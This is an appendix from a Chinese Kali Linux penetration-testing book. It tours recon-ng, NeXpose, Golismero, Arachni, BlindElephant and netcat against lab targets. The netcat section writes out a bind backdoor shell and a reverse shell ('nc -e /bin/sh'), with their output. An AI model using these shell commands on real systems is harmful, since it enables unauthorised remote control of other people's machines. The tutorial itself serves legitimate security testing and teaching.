附录A 辅助工具
本章将会通过以下几个角度,简要介绍几款渗透测试的辅助工具。
● 工具的功能;
● 如果这款工具没有被Kali Linux 收录,本文也会介绍其安装过程;
● 应用案例。
稍后介绍的部分工具确实没有被 Kali Linux 收录。要使用这些软件,就需要修改 Kali Linux的软件仓库配置文件/etc/apt/sources.lst,然后使用apt-get指令进行下载;您还可以从各个工具的官方网站下载这些程序。
我们把这些工具大体分为以下几类:
● 信息侦察工具;
● 漏洞扫描程序;
● Web 应用程序工具。
● 网络工具。
现在,我们就亲密接触这些工具吧!
A.1 侦察工具
recon-ng 是一款帮助我们进行信息侦察的程序。确切的说,它是自动侦察目标、自动识别目标的框架。如果您熟悉Metasploit的框架界面,您可能就会觉得recon-ng的界面很顺手——recon-ng的界面模仿的就是Metasploit的界面。
Kali Linux 已经安装了recon-ng 1.41 版本。喜欢尝试新版本的读者,可以从其官方网站进行更新:https://bitbucket.org/LaNMaSteR53/recon-ng/ overview。
默认安装的 recon-ng 带有信息侦察和目标识别的功能模块。对 1.41 版 recon-ng的功能模块进行分类统计,可得到以下数据。
● Recon modules(侦察模块):65 个。
● Discovery modules(识别模块):7 个。
● Reporting modules(报告模块):4 个。
● Experimental modules(实验性模块):1 个。
如需启动recon-ng程序,可使用下述指令。
recon-ng
运行上述指令之后,您将进入到recon-ng框架的提示符(见图A.1)。大体上看,它的提示信息和Metasploit界面的提示信息十分相似。
图A.1
如需查看recon-ng支持的各种指令,可以在其提示符状态下使用help指令。这个指令的运行结果如图A.2所示。
在这些指令中,最常用的几个指令如下所示。
● use 或load:加载指定模块。
● reload:重新加载所有模块。
● info:显示指定模块的具体信息。
● run:运行指定的模块。
● show:展现recon-ng 框架的各种数据对象。
● back:退出当前提示符的级别。
show modules指令可以列出可供使用的全部模块。这个指令的运行结果如图A.3所示。
图A.2
图A.3
下述指令可通过Bing的搜索引擎,收集指定域名的各主机信息。
recon-ng > load recon/hosts/gather/http/web/bing_site
recon-ng [bing_site] > set domain example.com
DOMAIN => example.com
recon-ng [bing_site] > run
[*] URL: http://www.bing.com/search?first=0&q=site%3A example.com
[*] www.example.com
[*] leb.example.com
[*] sos.example.com
[*] forms.example.com
[*] bankrobbers.example.com
[*] vault.example.com
[*] tips.example.com
[*] delivery.example.com
[*] omaha.example.com
[*] chicago.example.com
[*] foia.example.com
[*] 11 total hosts found.
[*] 11 NEW hosts found!
然后,我们通过show hosts 指令查询前一个指令的搜索结果。
上述例子只是recon-ng 多种功能的一个例子。有关它的各种功能的详细介绍,还请查询作者的官方网站(https://bitbucket.org/LaNMaSteR53/recon-ng/wiki/Home)。
A.2 漏洞扫描程序
Kali Linux 默认安装了OpenVAS。虽然它是一款漏洞扫描程序,但是渗透测试人员不能仅依赖一款工具就确定安全现象。我们应当使用多款工具获取更为全面和详实的信息,充分理解被测信息系统的安全全貌。
本节将要介绍Rapid7 出品的NeXpose 漏洞扫描程序(共享版)。
A.2.1 NeXpose共享版
Rapid7 推出的NeXpose Vulnerability Scanner Community Edition(NeXposeCE)是一款免费的漏洞扫描程序。它可以与Metasploit exploit 框架整合。
NeXpose 共享版具有以下特性:
● 能够扫描最多32 个IP;
● 漏洞数据库可定期升级;
● 可指定风险评估的优先级;
● 可为改进安全性提供指导建议;
● 可与Metasploit 整合;
● 通过网站(http://community.rapid7.com)提供共享版的有关支持;
● 易于部署;
● 可作为免费的初级安全解决方案。
商业版的NeXpose程序具备更多功能。例如,它对扫描的IP数量没有限制,可进行分布式扫描,扫描报告更为灵活,可进行Web和数据库应用程序扫描,并有专门的技术支持服务。
NeXpose由两个部分组成。
● NeXpose扫描引擎:目标识别和检测漏洞的后台程序。共享版程序只有一个引擎,即本地引擎。
● NeXpose安全控制台:安全控制台负责与扫描引擎互动,以启动扫描任务并接收扫描结果。控制台还配有可配置、操作扫描引擎的Web接口。
在初步了解了NeXpose共享版的情况之后,我们接下来安装这个程序。
1.安装NeXpose
在Kali Linux 种安装NeXpose 共享版的具体步骤如下。
1.访问网址 http:∥www.rapid7.com/products/nexpose/nexposecommunity. jsp 并下载安装程序。您首先需要使用工作E-mail 进行注册。此后,网站会把NeXpose CE 许可证密钥和下载指南发送给注册的E-mail 地址。
2.根据E-mail里的信息下载NeXpose共享版的安装程序。本例下载的是适用于64位Linux操作系统的安装程序——NeXposeSetup-Linux64.bin。
3.打开终端程序,进入下载文件所在目录。
4.然后通过下述指令启动NeXpose的安装程序。
./NeXposeSetup-Linux64.bin
屏幕上会显示NeXpose的安装界面,如图A.4所示。
图A.4
5.根据屏幕上的提示进行操作,逐步完成安装过程。请妥善保管在配置过程中设定的用户名和密码。如果您忘记了用户名或密码,就要重新安装NeXpose程序。
2.启动NeXpose
安装完毕之后,您就可以进入程序所在目录启动 NeXpose 程序。默认的安装目录是/opt/rapid7/nexpose。相对应地,您应当通过下述指令进入程序启动脚本所在的目录。
cd /opt/rapid7/nexpose/nsc
然后通过下述脚本程序启动NeXpose。
./nsc.sh
由于NeXpose 需要在启动过程中初始化漏洞信息数据库,所以程序的启动过程可能要花费数分钟的时间。待程序启动完毕,您就可以通过浏览器登录到NeXpose的安全控制台。
如果把NeXpose程序安装为守护进程(daemon),那么启动系统的时候它都会自动启动;另外,用户的注销操作也不会终止守护进程。把它安装为守护进程的具体步骤如下。
1.使用下述指令进入文件nexposeconsole.rc的所在目录。
cd [installation_directory]/nsc
2.打开这个文件,并确定NXP_ROOT变量已经设置为NeXpose的安装目录。
3.把文件nexposeconsole.rc复制到目录/etc/init.d,并将它重命名。本例通过下述指令把它重命名为nexpose。
cp [installation_directory]/nsc/nexposeconsole.rc /etc/init.d/nexpose
4.通过下述指令设置启动脚本的文件权限。
chmod +x /etc/init.d/nexpose
5.并让守护进程伴随系统启动。
update-rc.d nexpose defaults
6.可以通过下述指令控制NeXpose守护进程的启动、终止和重启。
/etc/init.d/nexpose
3.登录NeXpose
如欲登录到NeXpose共享版控制台的Web界面,就得遵循以下操作步骤。
1.打开浏览器并访问 https://127.0.0.1:3780。如果没有出现意外错误,您就会看到程序的登录界面。首次打开这个页面时,浏览器将会提示 Untrusted Connection 信息。您需要验证证书并把这个这个网站和证书设置为永久例外的规则。此后,您就再也不会看到这个警告信息了。
2.在首次访问控制台的时候,控制台将会进行初始设置。它会从Rapid7 的服务器上下载更新安装包。更新程序的过程耗时较长。
3.待程序完成初始化设置,您就可以使用在安装过程中设置好的用户名和密码登录。如图A.5 所示,在输入用户名和密码之后点击Log on按钮。
图A.5
4.控制台将会提示您输入激活信息。如图A.6所示,在窗口的文本框内输入产品许可证密钥之后,点击Activate with key 以完成激活。
图A.6
初次登录到控制台的时候,您会看到NeXpos的新闻页面。这个页面详细列出了NeXpose系统安装了的更新信息和功能改进纪录。如果看得到这个页面,就说明您所用的Kali Linux系统已经成功地安装了NeXpose共享版程序。
KaliLinux自带的Iceweasel浏览器可能无法登录到NeXpose 的安全控制台。如果发生这种情况,您就要安装 Firefox 浏览器。具体安装方法请参见http://kali4hackers.blogspot.com/2013/05/installfirefox-on-kali-linux.html。
4.使用NeXpose
本文将使用NeXpose对局域网进行一次简单的扫描。具体方法如下。
1. 如图A.7所示,在NeXpose的控制面板中点击Home,然后点击New static site in Site Listing以扫描指定网站。
图A.7
2. 此后,依照屏幕上的向导对网站的配置进行设置。此后,在菜单中依次选中 Site configuration | General。然后在这个选项卡中设置网站名称、任务重要程度和任务描述。接下来点击Next按钮,在下一个选项卡中进行设置。
3. 在Assets 选项卡中,指定扫描目标的IP地址。共享版(CE)的NeXpose 最多可扫描32个IP,这个数字也是目标主机数量的上限。然后点击Next按钮,进入下一个选项卡。本例中,我们将使用 NeXpose 扫描运行 Metasploitable 2 的主机,即扫描192.168.56.102。具体设置如图A.8所示。
图A.8
4. 然后您需要在Scan Setup中进行配置。此处,我们选用Full audit的全面扫描模板其他的设置就采取程序的默认设置。然后点击Next按钮,进入下一个选项卡。
5. 设置好选项之后,要点击 Save 按钮,保存各项配置设定。此后,刚才保存的扫描任务就会出现在程序的Site Listing 中。点击scan图标即可手动启动扫描任务。
6. 启动任务之后,界面将会显示Start New Scan 窗口。验证信息的正确性之后,点击Start Now 按钮运行扫描任务。
7. 如图A.9 所示,当NeXpose 完成扫描任务之后,它的控制台会显示扫描结果。
图A.9
8. 图A.10 就是程序目标主机的漏洞报告。
图A.10
9. 如需查看详细的审计报告,可以在顶级菜单里点击 Reports,并运行 Report Generator(报告生成工具)。此次任务的审计报告如图A.11所示。
图A.11
以上就是NeXpose 共享版程序的简要介绍。下一个小节将介绍几款Web应用程序的测试工具。
A.3 Web应用程序测试工具
A.3.1 Golismero
Golismero是一款开源的Web应用程序测试框架,它由Python语言编写。Golismero的主要特征如下所示。
● 它能收集、整理多款著名测试程序(例如sqlmap、xsser、openvas、dnsrecon和theharvester)的扫描结果。
● 它整合了CWE、CVE 和OWASP 的数据库。
Kali Linux安装的Golismero版本过老,不能进行Web应用程序的相关测试。要安装最新版本的Golismero程序,请通过https://github.com/golismero/golismero/archive/master.Zip下载。
然后将之解压缩。接下来,可通过下述指令查看Golismero的帮助信息。
python golismero.py -h
程序显示的帮助信息如图A.12所示。
图A.12
扫描某个网站的指令如下所示。
python golismero.py 192.168.1.138 -o 192-168-1-138.html
扫描结果如图A.13所示。
图A.13
它生成的扫描报告如图A.14所示。
图A.14
A.3.2 Arachni
Arachni(http://www.arachni-scanner.com/)是一款由Ruby语言编写的扫描Web应用程序的工具。它采取模块化设计,性能卓越。
Arachni的功能十分强大(http://www.arachni-scanner.com/about/ features),它能够:
● 支持SSL;
● 在审计的过程当中检测到注销状态并能重新登录;
● 高速处理HTTP请求;
● 进行并发扫描;
● 充分利用有限带宽精确识别被测目标的软件平台;
● 排查各种漏洞,可检测SQL 注入漏洞、CSRF、代码注入、LDAP 注入、路径遍历、文件包含和XSS问题。
美中不足的是,Arachni也有很多局限(http://www.arachni-scan ner.com/about/limitations/):
● 它不支持DOM、JavaScript、AJAX 和HTML5;
● 它的报告可能有假阳性的误报。
Kali Linux 默认安装的是0.4.4 版的Arachni 程序。
下述指令将显示帮助信息,并列出Arachni支持的各种指令。
arachni -h
列举所有模块的指令如下所示。
arachni --lsmod
上述指令的运行结果如图A.15所示。
图A.15
出于演示的需要,我们使用 Arachni 扫描一个叫作 DVWA ( http://www. dvwa.co.uk/)的Web应用程序,并把扫描报告保存为HTML文件。假如运行DVWA程序的主机使用的IP是192.168.2.22,那么我们需要使用的指令如下所示。
arachni http://192.168.2.22/dvwa/ --report=html:
outfile=./192-168-2-22-dvwa.html
扫描报告将会保存在目录/usr/share/arachni/bin/中。使用浏览器打开这个报告文件,将会看到如图A.16所示的信息。
图A.16
A.3.3 BlindElephant
BlindElephant是一款可对Web应用程序进行指纹对比的识别程序。这款工具通过扫描某些固定位置的静态文件,把这些文件的哈希值与各版本Web应用程序的那些文件的哈希值进行比对,从而鉴定被测Web应用程序的版本信息。
这种识别技术的鉴定速度快,带宽消耗低,无危害,通用性高且高度自动化。
如需显示BlindElephant的帮助文件,可使用以下指令。
BlindElephant.py -h
上述指令将会在屏幕上显示出程序的帮助信息。
如需了解BlindElephant支持的Web应用程序,或者需要列出它所支持的插件,可使用下述指令。
BlindElephant.py –l
上述指令的运行结果如下(见图A.17)。
图A.17
如欲鉴定目标网站使用的哪个版本的WordPress程序,可使用下述指令。
BlindElephant.py target wordpress
上述指令的输出结果如下。
Possible versions based on result: 3.1.3, 3.1.3-IIS
Hit http://target/wp-includes/js/tinymce/tiny_mce.js
Possible versions based on result: 3.1.1, 3.1.1-IIS, 3.1.1-RC1,
3.1.1-RC1-IIS, 3.1.2, 3.1.2-IIS, 3.1.3, 3.1.3-IIS, 3.1.4, 3.1.4-IIS
...
Possible versions based on result: 3.1, 3.1.1, 3.1.1-IIS, 3.1.1-RC1,
3.1.1-RC1-IIS, 3.1.2, 3.1.2-IIS, 3.1.3, 3.1.3-IIS, 3.1.4, 3.1.4-IIS,
3.1-beta1, 3.1-beta1-IIS, 3.1-beta2, 3.1-beta2-IIS, 3.1-IIS, 3.1-RC1,
3.1-RC2, 3.1-RC2-IIS, 3.1-RC3, 3.1-RC3-IIS, 3.1-RC4, 3.1-RC4-IIS
Fingerprinting resulted in:
3.1.3
3.1.3-IIS
Best Guess: 3.1.3
BlindElephant 对被测的WordPress 程序的鉴定结果是 3.1.3 版程序。依据版本信息,我们可找到相应版本存在的安全漏洞。
A.4 网络工具
本节将要介绍一款多用途的网络工具。有些人把它叫做TCP/IP协议的瑞士军刀,它的名字就是NetCat(http://netcat.sourceforge.net/)。
A.4.1 netcat
netcat是一款借助TCP连接或UDP协议读写数据的工具。默认情况下,它使用TCP协议传递数据。无论是人工输入的指令,还是其他的程序和脚本,都可以调用这款工具传输数据。第11章介绍的ncat程序是netcat的改进版本。您应当注意的是,netcat不会对传输的数据进行加密。
渗透测试人员多数都了解netcat各种不同的用法。这款工具小巧,可移植性高,功能强大,可以在被测主机上单独运行。下面将针对渗透测试工作的需要演示 Netcat 程序的使用技巧。后文的网络配置情况如下。
● SSH Web 服务器的IP 地址是192.168.2.22;
● 客户端的IP 地址是192.168.2.23。
1.打开连接
netcat可以替代telnet的客户端程序,直接连接到指定IP地址的任意端口。这是它的最简单的用法。
例如,可使用下述指令连接到192.168.2.22的22端口(SSH服务)。
nc 192.168.2.22 22
远程服务器的回复信息如下。
SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
然后,我们使用组合键Ctrl+C关闭连接。
2.提取服务标题
您可以通过前一个例子里用到的技术提取多数网络服务的服务标题(service banner)。不仅SSH服务有标志性的标题,其他的网络服务多数都有相应的服务标题。如果某个端口运行着HTTP服务,那么您需要使用HTTP指令提取标题信息。
例如,我们可使用下述指令提取Web服务软件的版本信息和操作系统信息。
echo -e "HEAD / HTTP/1.0\n\n" | nc 192.168.2.22 80
得到服务器响应如下。
HTTP/1.1 200 OK
Date: Tue, 08 Oct 2013 14:09:14 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Connection: close
Content-Type: text/html
上述信息表明,Web 服务的后台程序是Apache,主机的操作系统是Ubuntu 5.10。
3.简易聊天服务器
如果要使用netcat程序在1234端口上运行聊天服务器,可使用下述指令。
nc -l -p 1234
此后,您就可以使用telnet、netcat或者相似的软件,连接到服务端程序。
$ telnet 192.168.2.22 1234
随后所输入的所有字符,都将显示在服务端的netcat程序里。
这实际上建立了一种简单的双向通信连接。
如需关闭连接,可使用组合键Ctrl+C。
4.文件传输
如果要传递一个名为thepass的文件,可在接收端运行下述指令。
nc -l -p 1234 > thepass.out
然后在发送端运行下述指令。
nc -w3 192.168.2.22 1234 < thepass
从发送端将会把文件 thepass 传输到接收端。而后,接收端会把文件储存为thepass.out。
我在渗透测试任务中使用netcat传输过文件。当利用了被测主机的漏洞并建立reverse shell之后,用它传递了文件。幸运的是,被测主机装有netcat程序,用它传递文件并没有发生问题。
5.端口扫描
netcat还可以胜任简单的端口扫描工作。本例将使用netcat程序扫描被测主机的TCP 1~1000端口,同时指定程序:显示详细信息(-v)、禁止解析DNS名称(-n)、不发送任何数据(-z)、超时设置为1 秒(-w 1)。综合以上要求,我们需要使用的指令如下所示。
nc -n -v -z -w 1 192.168.2.22 1-1000
上述指令的运行结果如下。
(UNKNOWN) [192.168.2.22] 514 (shell) open
(UNKNOWN) [192.168.2.22] 513 (login) open
(UNKNOWN) [192.168.2.22] 512 (exec) open
(UNKNOWN) [192.168.2.22] 445 (microsoft-ds) open
(UNKNOWN) [192.168.2.22] 139 (netbios-ssn) open
(UNKNOWN) [192.168.2.22] 111 (sunrpc) open
(UNKNOWN) [192.168.2.22] 80 (http) open
(UNKNOWN) [192.168.2.22] 53 (domain) open
(UNKNOWN) [192.168.2.22] 25 (smtp) open
(UNKNOWN) [192.168.2.22] 23 (telnet) open
(UNKNOWN) [192.168.2.22] 22 (ssh) open
(UNKNOWN) [192.168.2.22] 21 (ftp) open
可见,主机192.168.2.22开放了多个端口(514、513、512、445、139、111、80、53、25、23、22、21)。
虽然netcat确实具有端口扫描的功能,但是本书建议您还是使用Nmap进行端口扫描。在这方面,毕竟Nmap的功能更为讲究。
6.backdoor shell
我们同样可以使用netcat程序实现一种可获取shell的后门。这种情况下,要指定程序的监听端口(通过-p选项设置)和shell(通过-e选项设置)。
如果要在1234号端口上打开/bin/sh的shell,可使用下述指令。
nc -e /bin/sh -l -p 1234
此后,我们在客户端上使用telnet或相似的客户端程序连接到服务端后门。
telnet 192.168.2.22 1234
在telnet客户端程序提示相应信息之后,您就可以通过这个shell在服务端的Linux主机上使用任意Linux指令。
例如,我们首先通过id指令获取登录账号的相关资料,可得到如下信息。
uid=1000(msfadmin) gid=1000(msfadmin)
groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video), 46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
接下来,我们通过下述指令查看服务端当前目录的所有文件。
ls -al
上述指令的运行结果如下。
total 9276
drwxr-xr-x 10 msfadmin msfadmin 4096 2013-09-16 18:40 .
drwxr-xr-x 6 root root 4096 2010-04-16 02:16 ..
lrwxrwxrwx 1 root root 9 2012-05-14 00:26 .bash_
history -> /dev/null
drwxr-xr-x 3 msfadmin msfadmin 4096 2013-09-08 03:55 cymothoa
1-beta
-rw-r--r-- 1 msfadmin msfadmin 18177 2013-09-08 03:36 cymothoa
1-beta.tar.gz
drwxr-xr-x 4 msfadmin msfadmin 4096 2010-04-17 14:11 .distcc
-rw-r--r-- 1 msfadmin msfadmin 1669 2013-08-27 10:11 etc-passwd
-rw-r--r-- 1 msfadmin msfadmin 1255 2013-08-27 10:11 etc-shadow
drwxr-xr-x 5 msfadmin msfadmin 4096 2013-06-12 01:23 .fluxbox
drwx------ 2 msfadmin msfadmin 4096 2013-09-14 08:25 .gconf
drwx------ 2 msfadmin msfadmin 4096 2013-09-14 08:26 .gconfd
-rw------- 1 root root 26 2013-09-14 08:57 .nano_his
tory
-rwxr-xr-x 1 msfadmin msfadmin 474740 2013-09-14 09:38 ncat
drwxr-xr-x 21 msfadmin msfadmin 4096 2013-09-14 09:31 nmap-6.40
-rw-r--r-- 1 msfadmin msfadmin 586 2010-03-16 19:12 .profile
ls 指令的运行结果会回显在客户端的屏幕上。如果在服务端是以 root 权限运行的netcat程序,那么连接到这个后门的客户端用户同样具有服务端主机的全部root权限。不过shell并不是真正的终端,也就是说您无法在shell上运行su之类的指令。
需要注意的是,netcat不会进行加密连接;此外,只要发现了后门的端口,就可连接到相应端口,对服务端主机进行控制。
7.reverse shell
netcat 的reverse shell 工作模式和上一个例子的连接模式恰恰相反。刚才的例子中,我们在服务端开放了一个端口,并把shell 绑定到这个端口。reverse shell 则是让远程主机(shell的服务器端)连接到我们所用的主机(即shell的客户端)。
首先,我们在客户端主机上运行下述指令。
nc -n -v -l -p 1234
然后在服务器端运行下述指令。
nc -e /bin/sh 192.168.2.23 1234
如果客户端主机提示以下信息,则说明我们已经连接到了reverse shell。
connect to [192.168.2.23] from (UNKNOWN) [192.168.2.22] 53529
此后,您可以在客户端主机向服务器端主机发布任意指令。
例如,可在客户端程序里使用下述指令查看远程主机的IP地址。
ip addr show
上述指令的运行结果如下。
1: lo:
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0:
link/ether 08:00:27:43:15:18 brd ff:ff:ff:ff:ff:ff
inet 192.168.2.22/24 brd 192.168.2.255 scope global eth0
inet6 fe80::a00:27ff:fe43:1518/64 scope link
valid_lft forever preferred_lft forever
在客户端程序里,可执行远程主机支持的所有指令。
A.5 本章小结
本章介绍了数款可能会在渗透测试的工作中使用到的工具。有些软件并没有被 Kali Linux收录,而且Kali收录的软件其版本可能版本不够新。不过,正如我们看到的那样,更新或安装软件的过程并不复杂。本章介绍了4类软件:信息侦察工具、漏洞扫描程序、Web应用程序工具和网络工具。
本文介绍的工具都是广受欢迎的、功能强大且成熟度很高的程序。
本章首先对这些工具进行简要介绍,而后演示了其安装和配置方法,并讲解了它们的各种使用方法。